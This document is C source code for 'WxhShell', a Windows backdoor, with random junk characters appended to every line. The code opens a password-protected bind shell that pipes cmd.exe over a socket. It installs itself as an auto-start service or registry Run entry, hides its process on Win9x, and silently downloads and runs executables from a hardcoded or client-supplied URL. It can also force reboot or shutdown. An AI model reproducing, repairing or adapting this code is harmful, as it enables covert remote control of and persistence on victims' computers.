    if(Boot(SHUTDOWN)) 't^OIil  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MF]s(7U4 `  
    else { LfrS:g  
    closesocket(wsh); 0$/wH#f  
    ExitThread(0); W)w@ju$Ko  
    } ]X4A)%i  
    break; aLuxCobV  
    } ;9 XM s)  
  // 获取shell i+T$&$b  
  case 's': { 0P\)L`cG  
    CmdShell(wsh); ) <^9`  
    closesocket(wsh); z+NXD4  
    ExitThread(0); -~v;'zOO  
    break; 2Wq)y1R<T  
  } FrB}2  
  // 退出 .v0.wG  
  case 'x': { SAc}5.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )5)S8~Oc  
    CloseIt(wsh); K )1K ]  
    break; ;&^S-+  
    } Qy5\qW'  
  // 离开 x:"_B  
  case 'q': { )1Os+0az  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TpuN[Y  
    closesocket(wsh); 7oh6G  
    WSACleanup(); O,]t.1V  
    exit(1); r^VH [c@c  
    break; TR5"K{WDx  
        } 6}n>Nb;L"  
  } FSIV\ u  
  } dBX%/  
P[?~KNS:/  
  // 提示信息 -?&wD["y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %#yCp2  
} D#1'#di*t  
  } y 7|x<Z  
\ :1MM  
  return; 8 POrD8B  
} QROe+:  
+kd88Fx  
// shell模块句柄 tb/bEy^  
int CmdShell(SOCKET sock) IE+$ET> t  
{ _hMMm6a|  
STARTUPINFO si; \@8$tQCZ  
ZeroMemory(&si,sizeof(si)); *Ny^XQ_X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^EN_C<V;"d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N9r02c  
PROCESS_INFORMATION ProcessInfo; kb Fr  
char cmdline[]="cmd"; W r );A{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h$_Wh(  
  return 0; #^" \WG7{  
} dMp7 ,{FhF  
K@Twiw~rB  
// 自身启动模式 @AvXBMq|  
int StartFromService(void) dur}3oS0p  
{ :G?"BL5vP  
typedef struct t^)q[g  
{ #9,!IW]l  
  DWORD ExitStatus; @f{yx\u/  
  DWORD PebBaseAddress; ZsirX~W<  
  DWORD AffinityMask; vHZw{'5y  
  DWORD BasePriority; n6ETWjP  
  ULONG UniqueProcessId; Pwt4e-  
  ULONG InheritedFromUniqueProcessId; &kB[jz_[A  
}   PROCESS_BASIC_INFORMATION; wciYv,  
.Kv>*__-Q  
PROCNTQSIP NtQueryInformationProcess; ?g&6l0 n`  
LS{g=3P0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sd2R $r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  L,!Z  
Is` S  
  HANDLE             hProcess; 1 M7=*w,  
  PROCESS_BASIC_INFORMATION pbi; N{IY \/;\  
w;vp X>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ps[TiW{q;  
  if(NULL == hInst ) return 0; 8)&H=#E  
C"PN3>x}j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6A7UW7/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f&bY=$iff  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LyhLPU0^q  
Xw!eB?A  
  if (!NtQueryInformationProcess) return 0; ;Z:z'';Lm  
5m&{ f>]T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XtRfzqg?K  
  if(!hProcess) return 0; u|<Z};a  
ICo_O] Ke  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y4$UPLm  
&STgj|t_  
  CloseHandle(hProcess); 6Ii2rEzD  
6C9KT;6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lb2mWsg"  
if(hProcess==NULL) return 0; ]^Z7w`=%5  
Mc oHV]x  
HMODULE hMod; )p4o4 aM  
char procName[255]; c Bb!7?6(  
unsigned long cbNeeded; TKvUBy  
Z7"8dlb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cRs Lt/Wr  
ca*USM  
  CloseHandle(hProcess); I! {AWfp0  
{g@Wd2-J}  
if(strstr(procName,"services")) return 1; // 以服务启动 u{"o*udU  
B++.tQ=X.  
  return 0; // 注册表启动 S,fMGKcq  
} hi"[R@UG  
1el?f>  
// 主模块 ~;_]U[eOL  
int StartWxhshell(LPSTR lpCmdLine) Yr-a8aSTE5  
{ 9~I\WjB "  
  SOCKET wsl; N{46DS  
BOOL val=TRUE; RQWVjF#  
  int port=0; QbP W_)N  
  struct sockaddr_in door; n9]^v-]K  
K20n355uE  
  if(wscfg.ws_autoins) Install(); A3*ti!X<6  
TyD*m$`y  
port=atoi(lpCmdLine); ~mOGNf?f  
xyj)W  
if(port<=0) port=wscfg.ws_port; vC E$)z'"  
x9xb4ZW  
  WSADATA data; D-9zg\\'`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l " pCxA  
gP/[=:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~fI&F|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D$q"k"  
  door.sin_family = AF_INET; FXV=D_G}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bYQ h{q  
  door.sin_port = htons(port); OOQf a#~k  
,pa,:k?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /%po@Pm#I  
closesocket(wsl); zT#36+_?  
return 1; wYSvI  
} p^Ca-+R3  
Wa #,>  
  if(listen(wsl,2) == INVALID_SOCKET) { =rl/ l8|P  
closesocket(wsl); a3?Dtoy'  
return 1; N[^%|  
} %}%D8-d}G  
  Wxhshell(wsl); J_}&Btb)e  
  WSACleanup(); ogs9obbZ!  
2_vE  
return 0; kMKI=>s+  
%56pP"w  
} V[wEn9   
cBmo#:>'  
// 以NT服务方式启动 t!c8 c^HR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,r{*o6  
{ '[-gK n  
DWORD   status = 0; {*~aVw {k  
  DWORD   specificError = 0xfffffff; "M v%M2'c  
'&Q_5\Tn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZB:Fjq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~53E)ilB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mz1Xk ]nE  
  serviceStatus.dwWin32ExitCode     = 0; q?[{fcNh$  
  serviceStatus.dwServiceSpecificExitCode = 0; M$FXDyr  
  serviceStatus.dwCheckPoint       = 0; MFX&+c  
  serviceStatus.dwWaitHint       = 0; $^IuE0.  
Wq0h3AjR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o%h\55S  
  if (hServiceStatusHandle==0) return; $ 8_t.~q  
_8\Uukm  
status = GetLastError(); =ADAMP  
  if (status!=NO_ERROR) 6'(5pt  
{ 0vS%m/Zi-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qz E/n   
    serviceStatus.dwCheckPoint       = 0; *{Wh- bc  
    serviceStatus.dwWaitHint       = 0; TnL%_!V!  
    serviceStatus.dwWin32ExitCode     = status; 9Vzk:zOT  
    serviceStatus.dwServiceSpecificExitCode = specificError; }tft@,dIC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zN].W\("\  
    return; u~LisZ&tP  
  } "M7ry9dDH  
-ud~'<k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1kio.9NIp  
  serviceStatus.dwCheckPoint       = 0; $7TYix8=  
  serviceStatus.dwWaitHint       = 0; s?~Abj_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Zj Qy,H%  
} zY[6Ia{L  
J2aA"BhdC"  
// 处理NT服务事件,比如:启动、停止 7*'_&0   
VOID WINAPI NTServiceHandler(DWORD fdwControl) >+u5%5-wr  
{ ~lCG37  
switch(fdwControl) s]L`&fY]O  
{ zZDG5_$n  
case SERVICE_CONTROL_STOP: YH':cze  
  serviceStatus.dwWin32ExitCode = 0; .Yha(5(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q;m .m2  
  serviceStatus.dwCheckPoint   = 0; <FS/'[P  
  serviceStatus.dwWaitHint     = 0; o"Ef>5N  
  { d#ld*\|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b ";#qVv C  
  } ^%go\ C ;  
  return; L2{tof  
case SERVICE_CONTROL_PAUSE: YvBUx#\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zG [-n.  
  break; EoQ.d|:g  
case SERVICE_CONTROL_CONTINUE: htM5Nm[g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `E!t,*(*E  
  break; {:6VJ0s\  
case SERVICE_CONTROL_INTERROGATE: WgE~H)_%  
  break; S_?}H  
}; EHzU`('?[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g^B 6N F  
} akd~Z  
-uv1$|  
// 标准应用程序主函数 gP/]05$e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0>Mm |x*5  
{ ]NTHit^EX  
R#1m_6I  
// 获取操作系统版本 m?[F)<~a  
OsIsNt=GetOsVer(); _$cQAH0 E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >^<qke  
Cc!n`%qc  
  // 从命令行安装 %A82{  
  if(strpbrk(lpCmdLine,"iI")) Install(); rB=1*.}FLc  
j:<E=[Kl  
  // 下载执行文件 ld9 zOq  
if(wscfg.ws_downexe) { )j6S<mn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /x$jd )C  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xj !0jF33  
}  |2n2  
.Z/"L@  
if(!OsIsNt) { D;Az>]>q  
// 如果时win9x,隐藏进程并且设置为注册表启动 &p=~=&g=  
HideProc(); [;|g2\  
StartWxhshell(lpCmdLine); 0CTI=<;  
} @Chj0wWZ>  
else S;|%'Sn|j9  
  if(StartFromService()) T( ;BEyc?  
  // 以服务方式启动 Q|pz].0  
  StartServiceCtrlDispatcher(DispatchTable); =q6yb@  
else )Xg#x:  
  // 普通方式启动 (q +Q.Q  
  StartWxhshell(lpCmdLine); + FLzK(  
Q@d X2  
return 0; .bpxSU%X  
} >TL0hBaaR  
_Z8zD[l  
:=~([oSNW"  
}r,k*I'K  
=========================================== ]^ j)4us  
:UScbPG  
 \f  
2OK%eVba  
D, 3x:nK  
^-=,q.[7  
" T[<9Ty'^  
,Hj=]e2?  
#include <stdio.h> Gia_B6*Y[  
#include <string.h> Qz/=+A/4  
#include <windows.h> 1lMU('r%  
#include <winsock2.h> m _:ib}  
#include <winsvc.h> r--"JO%2  
#include <urlmon.h> 1}V_:~7  
[kC-g @  
#pragma comment (lib, "Ws2_32.lib") fmloh1{4  
#pragma comment (lib, "urlmon.lib") u1>|2D  
8+GlM+>4  
#define MAX_USER   100 // 最大客户端连接数 \UK  9  
#define BUF_SOCK   200 // sock buffer \/lS!+~'']  
#define KEY_BUFF   255 // 输入 buffer e#16,a-}o  
seq S*^7  
#define REBOOT     0   // 重启 A:;KU  
#define SHUTDOWN   1   // 关机 &LYU#$sj  
QF\NHV  
#define DEF_PORT   5000 // 监听端口 8|i&Gbw+  
A u(Ngq  
#define REG_LEN     16   // 注册表键长度 ,gRsbC  
#define SVC_LEN     80   // NT服务名长度 w3yI;P  
5$zC,g*#  
// 从dll定义API vw+ @'+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *a+~bX)18  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T_I"Tsv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zFv>'1$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +]*?J1 Y8Z  
HM--`RJ  
// wxhshell配置信息 6K* 7%8Y/G  
struct WSCFG { )2FS9h.t  
  int ws_port;         // 监听端口 ~fQ#-ekzqk  
  char ws_passstr[REG_LEN]; // 口令 | F: ?  
  int ws_autoins;       // 安装标记, 1=yes 0=no  aA0aW=R  
  char ws_regname[REG_LEN]; // 注册表键名 >dZ x+7  
  char ws_svcname[REG_LEN]; // 服务名 I_Oa<J\+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g^8bY=* .  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b ~v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dkRJ^~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f@>27&'WV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /[_>U{~P#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xae}8E   
v)J6}H}e  
};  :E'38~  
sx(yG9  
// default Wxhshell configuration _.wLQL~y  
struct WSCFG wscfg={DEF_PORT, Gl}=Q7  
    "xuhuanlingzhe", #p*OLQ3~  
    1, I)DLnnQQ  
    "Wxhshell", Px'%5TKN  
    "Wxhshell", U3%!#E{  
            "WxhShell Service", TZPWMCN4  
    "Wrsky Windows CmdShell Service", C6O1ype  
    "Please Input Your Password: ", F]SexP4:A  
  1, hRGK W  
  "http://www.wrsky.com/wxhshell.exe", ].2q.7Yur  
  "Wxhshell.exe" <;SMczR  
    }; }=7tGqfw  
4d9i AN  
// 消息定义模块 K'n^, t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "YHe]R>3s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j[) i>Qw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cl4y9|  
char *msg_ws_ext="\n\rExit."; QQ1+uY  
char *msg_ws_end="\n\rQuit."; r 'pFHX  
char *msg_ws_boot="\n\rReboot..."; 6$ @Pk<w  
char *msg_ws_poff="\n\rShutdown..."; <hQ@]2w$  
char *msg_ws_down="\n\rSave to "; $U"/.Mh\  
L=4?vs  
char *msg_ws_err="\n\rErr!"; ~SP.&>Q>  
char *msg_ws_ok="\n\rOK!"; %|oY8;0|A>  
w0tlF:Eg  
char ExeFile[MAX_PATH]; eJ$?T7aUf  
int nUser = 0; BeaX 0#\  
HANDLE handles[MAX_USER]; Hfm4  
int OsIsNt; Lm:O vVVB  
BxO2w1G  
SERVICE_STATUS       serviceStatus; 2%1 g%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vg6?a  
x-CY G?-x  
// 函数声明 JB''Ujyi  
int Install(void); ,N <;!6e  
int Uninstall(void); @MAk/mb&  
int DownloadFile(char *sURL, SOCKET wsh); Fov/?:f$  
int Boot(int flag); Y5cUOfYT  
void HideProc(void); *Rr,ii  
int GetOsVer(void); 0!_D M^3  
int Wxhshell(SOCKET wsl); p5c'gziR  
void TalkWithClient(void *cs); #B)/d?aa'  
int CmdShell(SOCKET sock); 9"_qa q  
int StartFromService(void); N, ;'oL+  
int StartWxhshell(LPSTR lpCmdLine); I?s)^'  
+*!oZKm.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PFUb\AY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dSk\J[D  
zUIh8cAoE  
// 数据结构和表定义 wL5IAkq  
SERVICE_TABLE_ENTRY DispatchTable[] = (3{'GX2c  
{ S)@R4{=e"V  
{wscfg.ws_svcname, NTServiceMain}, 8y~ Jn~t  
{NULL, NULL} a%*W^R9Ls  
}; 4xe:+sA.N  
IP&En8W+  
// 自我安装 PIB|&I|p  
int Install(void) #x)G2T'?  
{ ;=*b:y Y  
  char svExeFile[MAX_PATH];  6:ZqS~-  
  HKEY key; ^ylJ_lN&=1  
  strcpy(svExeFile,ExeFile); ( F0.lDZ  
8T$:^HW  
// 如果是win9x系统,修改注册表设为自启动 `lN1u'(:  
if(!OsIsNt) { 6(D K\58  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xm/v :hl=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @<W"$_ r-  
  RegCloseKey(key); }@!d(U*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A{y3yH`#h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ny\iRU)fN  
  RegCloseKey(key); NAx( Qi3  
  return 0; IOvYvFUUJ  
    } :NA cad  
  } a%Mbq;  
} q+WOnTS  
else { _+z@Qn?#6h  
J j yQ  
// 如果是NT以上系统,安装为系统服务 /uW6P3M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A6q,"BS^d  
if (schSCManager!=0) |cWW5\/  
{ Q(oWaG  
  SC_HANDLE schService = CreateService e>uV8!u  
  ( T>kJB.V:oQ  
  schSCManager, u;h9Ra1  
  wscfg.ws_svcname, >fdS$,`A  
  wscfg.ws_svcdisp, %}+j4n  
  SERVICE_ALL_ACCESS, b0m1O.&I_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _d A-{  
  SERVICE_AUTO_START, `@")R-  
  SERVICE_ERROR_NORMAL, .7+_ubj&,  
  svExeFile, kS/Zb3  
  NULL, ) ;-AT^  
  NULL,  5t:4%  
  NULL, csH1X/3ha\  
  NULL, ,yAvLY5 P  
  NULL XHlPjw  
  ); 7I(Sa?D:  
  if (schService!=0) +3]@0VM26;  
  { S%mN6b~{  
  CloseServiceHandle(schService); /D 2v 1  
  CloseServiceHandle(schSCManager); k{y@&QNj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  W* `2lf  
  strcat(svExeFile,wscfg.ws_svcname); fVb&=%e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "%qGcC8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <3Co/.VQd  
  RegCloseKey(key); r}D`15IHJ  
  return 0; xI}]q%V  
    } g2:^Z==  
  } d[-w&[iy  
  CloseServiceHandle(schSCManager); Ax=Rb B"  
} }4A+J"M4y  
} PO<4rT+B  
Hd2Sou4-j  
return 1; o LuGW5wzj  
} :E@"4O?<Y)  
C1r]kF  
// 自我卸载 [M Z'i/  
int Uninstall(void) #*}4=  
{ 224I%x.,  
  HKEY key; Le|Ho^h,Y  
H.|FEV@  
if(!OsIsNt) { 3MNo&0M9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f{^C+t{r  
  RegDeleteValue(key,wscfg.ws_regname); "eZNci  
  RegCloseKey(key); }y x'U 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [=S@lURzm@  
  RegDeleteValue(key,wscfg.ws_regname); M:Xswwq  
  RegCloseKey(key); F2!_Z=  
  return 0; y5BNHweaRb  
  } %]r@vjeyd  
} h&NcN-["  
} GT|=Apnwr%  
else { #N[nvIi}  
R l^ENrv!]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )O#>ONm^  
if (schSCManager!=0) X<#Q~"  
{ R`!x<J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~y$B #.l  
  if (schService!=0) -9.S?N'T>;  
  { j'X]bd'  
  if(DeleteService(schService)!=0) { kNd[M =%  
  CloseServiceHandle(schService); $X9-0-  
  CloseServiceHandle(schSCManager); z )a8 ^]`  
  return 0; >|XQfavE  
  } kJZBQ<^  
  CloseServiceHandle(schService); 2oGl"3/p  
  } %kKe"$)0  
  CloseServiceHandle(schSCManager); H}dsd=yO  
} ~{=+dQ  
} ^ :6v- Yx  
f+Put  
return 1; 6AUXYbK,  
} R`:Y&)c_$  
iNT1lk  
// 从指定url下载文件 ++5W_Ooep  
int DownloadFile(char *sURL, SOCKET wsh) Nye Ga  
{ V\r5  
  HRESULT hr; *jCXH<?R  
char seps[]= "/"; ])7t!<  
char *token; 4 "@BbVYR  
char *file; D ( <_1  
char myURL[MAX_PATH]; *h-_   
char myFILE[MAX_PATH]; rPv+eM" >  
q/6d^&  
strcpy(myURL,sURL); U*(m'Ea  
  token=strtok(myURL,seps); Y6?d y\  
  while(token!=NULL) J&@[=zBYw  
  { 7M<7^)9  
    file=token; xD8x1-  
  token=strtok(NULL,seps); CD +,&id  
  } {I@@i8)]  
vAy`8Q  
GetCurrentDirectory(MAX_PATH,myFILE); V#ZF0a]  
strcat(myFILE, "\\"); i jg'X#E  
strcat(myFILE, file); z%}^9  
  send(wsh,myFILE,strlen(myFILE),0); so9h6K{qcp  
send(wsh,"...",3,0); Q6`oo/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >dUnk)7  
  if(hr==S_OK) HfFP4#C,  
return 0; THi*'D/  
else )U6T]1  
return 1; zRx-xWo  
17a'C  
} B+ud-M0  
1,p7Sl^h  
// 系统电源模块 yxf|Njo0  
int Boot(int flag) Sl/[9- a)  
{ Q$iYhR  
  HANDLE hToken; N32!*TsWs  
  TOKEN_PRIVILEGES tkp; ssoIC  
b%2+g<UKh  
  if(OsIsNt) { wcspqC"_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^cz #PNB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nr Jl>H  
    tkp.PrivilegeCount = 1; frWw-<HoI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;sE;l7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |bk.gh  
if(flag==REBOOT) { oP$NTy[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JQP7>W  
  return 0; |2,u!{  
} w^s|YF=c  
else { @/@#,+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (|(#~o]40t  
  return 0; ,]gYy00w0s  
} Vahfz8~w/  
  } X-|Lg.s  
  else { `PXSQf  
if(flag==REBOOT) { ~e~iCyW;S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^vS+xq|4"  
  return 0; I'{-T=R-q  
} ^31X-}t v  
else { v}XMFC !  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p&/}0eL y  
  return 0; CvW*/d q  
} 81u}J9z;  
} MDGD*Qn~  
jc) [5i0  
return 1; :8cp]v dW  
} `bw>.Ay  
 i1v0J->  
// win9x进程隐藏模块 2fM*6CaS  
void HideProc(void) E96FwA5  
{ T$RVz   
'B ocMjRA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e~w-v"'  
  if ( hKernel != NULL ) Q>]FO  
  { dY'/\dJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); atR WKsY<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?s/]k#H  
    FreeLibrary(hKernel); zRSIJ!A~  
  } V +j58Wuf  
D|lp3\`%  
return; FGY4u4y  
} 2x%Xx3!  
f mu `o-  
// 获取操作系统版本 {WfZE&B  
int GetOsVer(void) GY@(%^  
{ e=S51q_0  
  OSVERSIONINFO winfo; N) D;)ZH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %2>ya>/M  
  GetVersionEx(&winfo); b3]QH h/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (`<X9w,  
  return 1; *\ZK(/V  
  else WfYu-TK *  
  return 0; ?Ho~6q8O@  
} yzJ VU0s  
#Duz|F+%  
// 客户端句柄模块 kH:! 7L_=  
int Wxhshell(SOCKET wsl) :=9?XzCC  
{ yU'Fyul  
  SOCKET wsh; ]@YBa4}w  
  struct sockaddr_in client; Ch;C\H:X  
  DWORD myID; ^PHWUb+``  
)1f8 H,q^  
  while(nUser<MAX_USER) >HMuh)  
{ h2M>4c  
  int nSize=sizeof(client); ?VVtEmIN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #J&45  
  if(wsh==INVALID_SOCKET) return 1; o ;nw;]oR  
2rK%fV53b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .KH3.v/c|  
if(handles[nUser]==0) ^=kUNyY  
  closesocket(wsh); qRy<W  
else \Nd8,hE  
  nUser++; ~:8}Bz2!5  
  } !\D[lh}rL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yn&+ >{  
o \ss  
  return 0; :f1Q0klwP  
} `yiw<9yp2  
G+Gd ;`4  
// 关闭 socket HHd;<%q  
void CloseIt(SOCKET wsh) MBlh lMyI  
{ E=PmOw7b  
closesocket(wsh); w,uyN  
nUser--; C9+`sFau@  
ExitThread(0); .v<Q-P\8/  
} i n}N[  
DK-V3}`q}  
// 客户端请求句柄 3eOwy~  
void TalkWithClient(void *cs) -44{b<:D  
{ b=Rw=K.  
+OGa}9j-  
  SOCKET wsh=(SOCKET)cs; VG,O+I'^z  
  char pwd[SVC_LEN]; urM=l5Sx  
  char cmd[KEY_BUFF]; %qN_<W&Ze  
char chr[1]; kl(id8r  
int i,j; fC1PPgQ\  
UvR F\x%  
  while (nUser < MAX_USER) { Q[5j5vry  
^o;f~6#17  
if(wscfg.ws_passstr) { 1^F !X=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 55aJ =T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u;-_%?  
  //ZeroMemory(pwd,KEY_BUFF); 5G$sP,n  
      i=0; Ab| t E5%  
  while(i<SVC_LEN) { A:{PPjs%LA  
 -)='htiU  
  // 设置超时 H);O.m  
  fd_set FdRead; ~3 ,>TV  
  struct timeval TimeOut; rUg<(/c  
  FD_ZERO(&FdRead); v$H=~m  
  FD_SET(wsh,&FdRead); >gQJ6q  
  TimeOut.tv_sec=8; B;[ai?@c(_  
  TimeOut.tv_usec=0; xbZx&`(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |:yWDZg[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C2$_Ad=s  
"4`i]vy8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4V2}'/|[  
  pwd=chr[0]; D's Tv}P  
  if(chr[0]==0xd || chr[0]==0xa) { Z>9uVBE02  
  pwd=0; UG@9X/l}  
  break; MM+x}g.?  
  } )qyJw N .D  
  i++; Nft~UggK  
    } SVJL|S 3k  
{Kbb4%P+h  
  // 如果是非法用户,关闭 socket EISgc {s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j@7%%   
} %A]?5J)Bi  
CrvL[6i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +-s$Htx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E:_m6 m  
{c(@u6l28  
while(1) { O)2==_f\  
}jfOs(Q]  
  ZeroMemory(cmd,KEY_BUFF); 2r zOh},RS  
L6>;"]:f`  
      // 自动支持客户端 telnet标准   Za"m;+H<E  
  j=0; `f|Gw5R  
  while(j<KEY_BUFF) { @R c/ ^B:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PUU "k:{  
  cmd[j]=chr[0]; PU& v{gn  
  if(chr[0]==0xa || chr[0]==0xd) { '<$!?="  
  cmd[j]=0; GBh$nVn$  
  break; q=,  
  } 5 ]c\{G  
  j++; 5.IX  
    } NZ|(#` X  
>'/KOK"  
  // 下载文件 B'AU~#d  
  if(strstr(cmd,"http://")) { Xur{nk~?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8LPvb#9=  
  if(DownloadFile(cmd,wsh)) Zy J-}[z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,k} nkIT  
  else dE_d.[!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XCo3pB Wq~  
  } lihV! 1  
  else { C"gH>G  
MEI.wJZ  
    switch(cmd[0]) { (O(X k+L  
  Dt ~3Qd0  
  // 帮助 H\PY\O&cP  
  case '?': { U65a _dakk  
